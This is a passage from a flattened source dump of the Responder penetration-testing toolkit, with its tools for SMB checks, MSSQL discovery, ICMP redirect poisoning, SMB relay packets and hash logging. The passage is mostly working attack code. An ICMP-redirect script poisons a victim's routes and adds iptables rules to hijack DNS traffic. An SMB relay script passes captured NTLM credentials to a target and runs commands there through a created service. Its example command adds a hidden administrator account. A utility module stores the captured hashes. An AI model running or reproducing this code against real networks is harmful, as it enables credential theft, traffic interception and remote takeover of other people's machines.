56 | if data[4:5] == "\xff": 57 | print "This host doesn't support SMBv2" 58 | if data[4:5] == "\xfe": 59 | IsDCVuln(GetBootTime(data[116:124])) 60 | except Exception: 61 | s.close() 62 | raise 63 | 64 | if __name__ == "__main__": 65 | if len(sys.argv)<=1: 66 | sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address') 67 | host = sys.argv[1],445 68 | run(host) 69 | -------------------------------------------------------------------------------- /tools/FindSQLSrv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from socket import * 18 | 19 | print 'MSSQL Server Finder 0.1' 20 | 21 | s = socket(AF_INET,SOCK_DGRAM) 22 | s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 23 | s.settimeout(2) 24 | s.sendto('\x02',('255.255.255.255',1434)) 25 | 26 | try: 27 | while 1: 28 | data, address = s.recvfrom(8092) 29 | if not data: 30 | break 31 | else: 32 | print "===============================================================" 33 | print "Host details:",address[0] 34 | print data[2:] 35 | print "===============================================================" 36 | print "" 37 | except: 38 | pass 39 | 40 | 41 | -------------------------------------------------------------------------------- /tools/Icmp-Redirect.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # NBT-NS/LLMNR Responder 3 | # Created by Laurent Gaffie 4 | # Copyright (C) 2014 Trustwave Holdings, Inc. 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | import socket 19 | import struct 20 | import optparse 21 | import pipes 22 | import sys 23 | from socket import * 24 | sys.path.append('../') 25 | from odict import OrderedDict 26 | from random import randrange 27 | from time import sleep 28 | from subprocess import call 29 | from packets import Packet 30 | 31 | parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', 32 | prog=sys.argv[0], 33 | ) 34 | parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") 35 | parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") 36 | parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") 37 | parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") 38 | parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") 39 | parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") 40 | parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") 41 | options, args = parser.parse_args() 42 | 43 | if options.OURIP is None: 44 | print "-i mandatory option is missing.\n" 45 | parser.print_help() 46 | exit(-1) 47 | elif options.OriginalGwAddr is None: 48 | print "-g mandatory option is missing, please provide the original gateway address.\n" 49 | parser.print_help() 50 | exit(-1) 51 | elif options.VictimIP is None: 52 | print "-t mandatory option is missing, please provide a target.\n" 53 | parser.print_help() 54 | exit(-1) 55 | elif options.Interface is None: 56 | print "-I mandatory option is missing, please provide your network interface.\n" 57 | parser.print_help() 58 | exit(-1) 59 | elif options.ToThisHost is None: 60 | print "-r mandatory option is missing, please provide a destination target.\n" 61 | parser.print_help() 62 | exit(-1) 63 | 64 | if options.AlternateGwAddr is None: 65 | AlternateGwAddr = options.OURIP 66 | 67 | #Setting some vars. 68 | OURIP = options.OURIP 69 | OriginalGwAddr = options.OriginalGwAddr 70 | AlternateGwAddr = options.AlternateGwAddr 71 | VictimIP = options.VictimIP 72 | ToThisHost = options.ToThisHost 73 | ToThisHost2 = options.ToThisHost2 74 | Interface = options.Interface 75 | 76 | def Show_Help(ExtraHelpData): 77 | print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") 78 | print(ExtraHelpData) 79 | 80 | MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) 81 | 82 | def GenCheckSum(data): 83 | s = 0 84 | for i in range(0, len(data), 2): 85 | q = ord(data[i]) + (ord(data[i+1]) << 8) 86 | f = s + q 87 | s = (f & 0xffff) + (f >> 16) 88 | return struct.pack("H", len(CalculateLen)) 150 | # Then CheckSum this packet 151 | CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) 152 | self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) 153 | 154 | class ICMPRedir(Packet): 155 | fields = OrderedDict([ 156 | ("Type", "\x05"), 157 | ("OpCode", "\x01"), 158 | ("CheckSum", "\x00\x00"), 159 | ("GwAddr", ""), 160 | ("Data", ""), 161 | ]) 162 | 163 | def calculate(self): 164 | self.fields["GwAddr"] = inet_aton(OURIP) 165 | CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) 166 | self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) 167 | 168 | class DummyUDP(Packet): 169 | fields = OrderedDict([ 170 | ("SrcPort", "\x00\x35"), #port 53 171 | ("DstPort", "\x00\x35"), 172 | ("Len", "\x00\x08"), #Always 8 in this case. 173 | ("CheckSum", "\x00\x00"), #CheckSum disabled. 174 | ]) 175 | 176 | def ReceiveArpFrame(DstAddr): 177 | s = socket(AF_PACKET, SOCK_RAW) 178 | s.settimeout(5) 179 | Protocol = 0x0806 180 | s.bind((Interface, Protocol)) 181 | OurMac = s.getsockname()[4] 182 | Eth = EthARP(SrcMac=OurMac) 183 | Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) 184 | Arp.calculate() 185 | final = str(Eth)+str(Arp) 186 | try: 187 | s.send(final) 188 | data = s.recv(1024) 189 | DstMac = data[22:28] 190 | DestMac = DstMac.encode('hex') 191 | PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) 192 | return PrintMac,DstMac 193 | except: 194 | print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) 195 | exit(1) 196 | 197 | def IcmpRedirectSock(DestinationIP): 198 | PrintMac,DestMac = ReceiveArpFrame(VictimIP) 199 | print '[ARP]Target Mac address is :',PrintMac 200 | PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) 201 | print '[ARP]Router Mac address is :',PrintMac 202 | s = socket(AF_PACKET, SOCK_RAW) 203 | Protocol = 0x0800 204 | s.bind((Interface, Protocol)) 205 | Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) 206 | IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) 207 | IPPackUDP.calculate() 208 | ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) 209 | ICMPPack.calculate() 210 | IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) 211 | IPPack.calculate() 212 | final = str(Eth)+str(IPPack) 213 | s.send(final) 214 | print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) 215 | 216 | def FindWhatToDo(ToThisHost2): 217 | if ToThisHost2 != None: 218 | Show_Help('Hit CRTL-C to kill this script') 219 | RunThisInLoop(ToThisHost, ToThisHost2,OURIP) 220 | if ToThisHost2 == None: 221 | Show_Help(MoreHelp) 222 | IcmpRedirectSock(DestinationIP=ToThisHost) 223 | exit() 224 | 225 | def RunThisInLoop(host, host2, ip): 226 | dns1 = pipes.quote(host) 227 | dns2 = pipes.quote(host2) 228 | ouripadd = pipes.quote(ip) 229 | call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) 230 | call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) 231 | print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." 232 | while True: 233 | IcmpRedirectSock(DestinationIP=dns1) 234 | IcmpRedirectSock(DestinationIP=dns2) 235 | print "[+]Repoisoning the target in 8 minutes..." 236 | sleep(480) 237 | 238 | FindWhatToDo(ToThisHost2) 239 | -------------------------------------------------------------------------------- /tools/RelayPackets.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | import sys 19 | sys.path.append('../') 20 | from odict import OrderedDict 21 | from packets import Packet 22 | 23 | class SMBHeader(Packet): 24 | fields = OrderedDict([ 25 | ("proto", "\xff\x53\x4d\x42"), 26 | ("cmd", "\x72"), 27 | ("errorcode", "\x00\x00\x00\x00"), 28 | ("flag1", "\x00"), 29 | ("flag2", "\x00\x00"), 30 | ("pidhigh", "\x00\x00"), 31 | ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), 32 | ("reserved", "\x00\x00"), 33 | ("tid", "\x00\x00"), 34 | ("pid", "\x00\x00"), 35 | ("uid", "\x00\x00"), 36 | ("mid", "\x00\x00"), 37 | ]) 38 | 39 | class SMBNego(Packet): 40 | fields = OrderedDict([ 41 | ("Wordcount", "\x00"), 42 | ("Bcc", "\x62\x00"), 43 | ("Data", "") 44 | ]) 45 | 46 | def calculate(self): 47 | self.fields["Bcc"] = struct.pack(". 17 | import sys 18 | import random 19 | import optparse 20 | import thread 21 | sys.path.append('../') 22 | from fingerprint import RunSmbFinger 23 | from socket import * 24 | from RelayPackets import * 25 | from packets import * 26 | from servers.SMB import * 27 | from packets import Packet 28 | 29 | import logging 30 | Logs = logging 31 | Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG) 32 | 33 | 34 | def longueur(payload): 35 | return struct.pack(">i", len(''.join(payload))) 36 | 37 | 38 | def UserCallBack(op, value, dmy, parser): 39 | args=[] 40 | for arg in parser.rargs: 41 | if arg[0] != "-": 42 | args.append(arg) 43 | if getattr(parser.values, op.dest): 44 | args.extend(getattr(parser.values, op.dest)) 45 | setattr(parser.values, op.dest, args) 46 | 47 | parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],) 48 | parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") 49 | parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD') 50 | parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") 51 | parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain") 52 | parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") 53 | 54 | options, args = parser.parse_args() 55 | 56 | if options.CMD is None: 57 | print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" 58 | parser.print_help() 59 | exit(-1) 60 | elif options.TARGET is None: 61 | print "\n-t mandatory option is missing, please provide a target.\n" 62 | parser.print_help() 63 | exit(-1) 64 | elif options.UserToRelay is None: 65 | print "\n-u mandatory option is missing, please provide a username to relay.\n" 66 | parser.print_help() 67 | exit(-1) 68 | 69 | ResponderPATH = os.path.dirname(__file__) 70 | UserToRelay = options.UserToRelay 71 | Domain = options.Domain 72 | Command = options.CMD 73 | Target = options.TARGET 74 | Responder_IP = options.Responder_IP 75 | 76 | print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com" 77 | print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' 78 | print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' 79 | 80 | #Function used to verify if a previous auth attempt was made. 81 | def ReadData(outfile,Client, User, cmd=None): 82 | try: 83 | with open(ResponderPATH+outfile,"r") as filestr: 84 | if cmd is None: 85 | String = Client+':'+User 86 | if re.search(String.encode('hex'), filestr.read().encode('hex')): 87 | return True 88 | return False 89 | if cmd is not None: 90 | String = Client+","+User+","+cmd 91 | if re.search(String.encode('hex'), filestr.read().encode('hex')): 92 | print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) 93 | return True 94 | return False 95 | except: 96 | raise 97 | 98 | #Function used to parse SMB NTLMv1/v2 99 | def ParseHash(data,Client, Target): 100 | try: 101 | lenght = struct.unpack('= 30: 106 | Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] 107 | pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] 108 | var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] 109 | Username, Domain = tuple(var) 110 | if ReadData("SMBRelay-Session.txt", Client, Username): 111 | print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) 112 | if Username in UserToRelay: 113 | print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) 114 | print "Username : ",Username 115 | print "Domain (if joined, if not then computer name) : ",Domain 116 | return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client 117 | if NthashLen == 24: 118 | pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] 119 | var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] 120 | Username, Domain = tuple(var) 121 | if ReadData("SMBRelay-Session.txt", Client, Username): 122 | print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) 123 | if Username in UserToRelay: 124 | print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) 125 | LMHashing = data[65:65+LMhashLen].encode('hex').upper() 126 | NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() 127 | print "Username : ",Username 128 | print "Domain (if joined, if not then computer name) : ",Domain 129 | return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client 130 | else: 131 | print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) 132 | except Exception: 133 | raise 134 | 135 | #Detect if SMB auth was Anonymous 136 | def Is_Anonymous(data): 137 | LMhashLen = struct.unpack('=Windows Vista" 259 | Logs.info(CLIENTIP+":"+Username) 260 | ## NtCreateAndx 261 | if data[8:10] == "\x73\x00": 262 | print "[+] Authenticated, trying to PSexec on target !" 263 | head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 264 | t = SMBNTCreateData() 265 | t.calculate() 266 | packet0 = str(head)+str(t) 267 | buffer1 = longueur(packet0)+packet0 268 | s.send(buffer1) 269 | data = s.recv(2048) 270 | ## Fail Handling. 271 | if data[8:10] == "\xa2\x22": 272 | print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" 273 | ## DCE/RPC Write. 274 | if data[8:10] == "\xa2\x00": 275 | head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 276 | x = SMBDCEData() 277 | x.calculate() 278 | f = data[42:44] 279 | t = SMBWriteData(FID=f,Data=x) 280 | t.calculate() 281 | packet0 = str(head)+str(t) 282 | buffer1 = longueur(packet0)+packet0 283 | s.send(buffer1) 284 | data = s.recv(2048) 285 | ## DCE/RPC Read. 286 | if data[8:10] == "\x2f\x00": 287 | head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 288 | t = SMBReadData(FID=f) 289 | t.calculate() 290 | packet0 = str(head)+str(t) 291 | buffer1 = longueur(packet0)+packet0 292 | s.send(buffer1) 293 | data = s.recv(2048) 294 | ## DCE/RPC SVCCTLOpenManagerW. 295 | if data[8:10] == "\x2e\x00": 296 | head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 297 | w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00") 298 | w.calculate() 299 | x = SMBDCEPacketData(Data=w) 300 | x.calculate() 301 | t = SMBWriteData(FID=f,Data=x) 302 | t.calculate() 303 | packet0 = str(head)+str(t) 304 | buffer1 = longueur(packet0)+packet0 305 | s.send(buffer1) 306 | data = s.recv(2048) 307 | ## DCE/RPC Read Answer. 308 | if data[8:10] == "\x2f\x00": 309 | head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 310 | t = SMBReadData(FID=f) 311 | t.calculate() 312 | packet0 = str(head)+str(t) 313 | buffer1 = longueur(packet0)+packet0 314 | s.send(buffer1) 315 | data = s.recv(2048) 316 | ## DCE/RPC SVCCTLCreateService. 317 | if data[8:10] == "\x2e\x00": 318 | if data[len(data)-4:] == "\x05\x00\x00\x00": 319 | print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" 320 | print "[+] Creating service" 321 | head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 322 | ContextHandler = data[88:108] 323 | ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) 324 | ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) 325 | FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' 326 | w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) 327 | w.calculate() 328 | x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) 329 | x.calculate() 330 | t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) 331 | t.calculate() 332 | packet0 = str(head)+str(t) 333 | buffer1 = longueur(packet0)+packet0 334 | s.send(buffer1) 335 | data = s.recv(2048) 336 | ## DCE/RPC Read Answer. 337 | if data[8:10] == "\x2f\x00": 338 | head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 339 | t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") 340 | t.calculate() 341 | packet0 = str(head)+str(t) 342 | buffer1 = longueur(packet0)+packet0 343 | s.send(buffer1) 344 | data = s.recv(2048) 345 | ## DCE/RPC SVCCTLOpenService. 346 | if data[8:10] == "\x2e\x00": 347 | if data[len(data)-4:] == "\x05\x00\x00\x00": 348 | print "[+] Failed to create the service" 349 | 350 | head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 351 | w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) 352 | w.calculate() 353 | x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) 354 | x.calculate() 355 | t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) 356 | t.calculate() 357 | packet0 = str(head)+str(t) 358 | buffer1 = longueur(packet0)+packet0 359 | s.send(buffer1) 360 | data = s.recv(2048) 361 | ## DCE/RPC Read Answer. 362 | if data[8:10] == "\x2f\x00": 363 | head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 364 | t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") 365 | t.calculate() 366 | packet0 = str(head)+str(t) 367 | buffer1 = longueur(packet0)+packet0 368 | s.send(buffer1) 369 | data = s.recv(2048) 370 | ## DCE/RPC SVCCTLStartService. 371 | if data[8:10] == "\x2e\x00": 372 | if data[len(data)-4:] == "\x05\x00\x00\x00": 373 | print "[+] Failed to open the service" 374 | ContextHandler = data[88:108] 375 | head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 376 | w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) 377 | x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) 378 | x.calculate() 379 | t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) 380 | t.calculate() 381 | packet0 = str(head)+str(t) 382 | buffer1 = longueur(packet0)+packet0 383 | s.send(buffer1) 384 | data = s.recv(2048) 385 | ## DCE/RPC Read Answer. 386 | if data[8:10] == "\x2f\x00": 387 | head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) 388 | t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") 389 | t.calculate() 390 | packet0 = str(head)+str(t) 391 | buffer1 = longueur(packet0)+packet0 392 | s.send(buffer1) 393 | data = s.recv(2048) 394 | if data[8:10] == "\x2e\x00": 395 | print "[+] Command successful !" 396 | Logs.info('Command successful:') 397 | Logs.info(Target+","+Username+','+CMD) 398 | return True 399 | if data[8:10] != "\x2e\x00": 400 | return False 401 | 402 | 403 | def RunInloop(Target,Command,Domain): 404 | try: 405 | while True: 406 | worker = RunRelay(Target,Command,Domain) 407 | except: 408 | raise 409 | 410 | 411 | def main(): 412 | try: 413 | thread.start_new(RunInloop,(Target,Command,Domain)) 414 | except KeyboardInterrupt: 415 | exit() 416 | 417 | if __name__ == '__main__': 418 | try: 419 | main() 420 | except KeyboardInterrupt: 421 | raise 422 | raw_input() 423 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import sys 19 | import re 20 | import logging 21 | import socket 22 | import time 23 | import settings 24 | 25 | try: 26 | import sqlite3 27 | except: 28 | print "[!] Please install python-sqlite3 extension." 29 | sys.exit(0) 30 | 31 | def color(txt, code = 1, modifier = 0): 32 | if txt.startswith('[*]'): 33 | settings.Config.PoisonersLogger.warning(txt) 34 | elif 'Analyze' in txt: 35 | settings.Config.AnalyzeLogger.warning(txt) 36 | 37 | if os.name == 'nt': # No colors for windows... 38 | return txt 39 | return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) 40 | 41 | def text(txt): 42 | logging.info(txt) 43 | if os.name == 'nt': 44 | return txt 45 | return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) 46 | 47 | 48 | def IsOnTheSameSubnet(ip, net): 49 | net += '/24' 50 | ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) 51 | netstr, bits = net.split('/') 52 | netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) 53 | mask = (0xffffffff << (32 - int(bits))) & 0xffffffff 54 | return (ipaddr & mask) == (netaddr & mask) 55 | 56 | 57 | def RespondToThisIP(ClientIp): 58 | 59 | if ClientIp.startswith('127.0.0.'): 60 | return False 61 | elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: 62 | print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp 63 | return False 64 | elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: 65 | return False 66 | elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: 67 | if ClientIp not in settings.Config.DontRespondTo: 68 | return True 69 | return False 70 | 71 | def RespondToThisName(Name): 72 | if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: 73 | return False 74 | elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: 75 | if Name.upper() not in settings.Config.DontRespondToName: 76 | return True 77 | return False 78 | 79 | def RespondToThisHost(ClientIp, Name): 80 | return RespondToThisIP(ClientIp) and RespondToThisName(Name) 81 | 82 | def OsInterfaceIsSupported(): 83 | if settings.Config.Interface != "Not set": 84 | return not IsOsX() 85 | return False 86 | 87 | def IsOsX(): 88 | return sys.platform == "darwin" 89 | 90 | def FindLocalIP(Iface, OURIP): 91 | if Iface == 'ALL': 92 | return '0.0.0.0' 93 | 94 | try: 95 | if IsOsX(): 96 | return OURIP 97 | elif OURIP == None: 98 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 99 | s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') 100 | s.connect(("127.0.0.1",9))#RFC 863 101 | ret = s.getsockname()[0] 102 | s.close() 103 | return ret 104 | return OURIP 105 | except socket.error: 106 | print color("[!] Error: %s: Interface not found" % Iface, 1) 107 | sys.exit(-1) 108 | 109 | # Function used to write captured hashs to a file. 110 | def WriteData(outfile, data, user): 111 | logging.info("[*] Captured Hash: %s" % data) 112 | 113 | if not os.path.isfile(outfile): 114 | with open(outfile,"w") as outf: 115 | outf.write(data + '\n') 116 | return 117 | with open(outfile,"r") as filestr: 118 | if re.search(user.encode('hex'), filestr.read().encode('hex')): 119 | return False 120 | elif re.search(re.escape("$"), user): 121 | return False 122 | with open(outfile,"a") as outf2: 123 | outf2.write(data + '\n') 124 | 125 | 126 | def SaveToDb(result): 127 | # Creating the DB if it doesn't exist 128 | if not os.path.exists(settings.Config.DatabaseFile): 129 | cursor = sqlite3.connect(settings.Config.DatabaseFile) 130 | cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') 131 | cursor.commit() 132 | cursor.close() 133 | 134 | for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: 135 | if not k in result: 136 | result[k] = '' 137 | 138 | if len(result['user']) < 2: 139 | return 140 | 141 | if len(result['cleartext']): 142 | fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) 143 | else: 144 | fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) 145 | 146 | logfile = os.path.join(settings.Config.ResponderPATH, 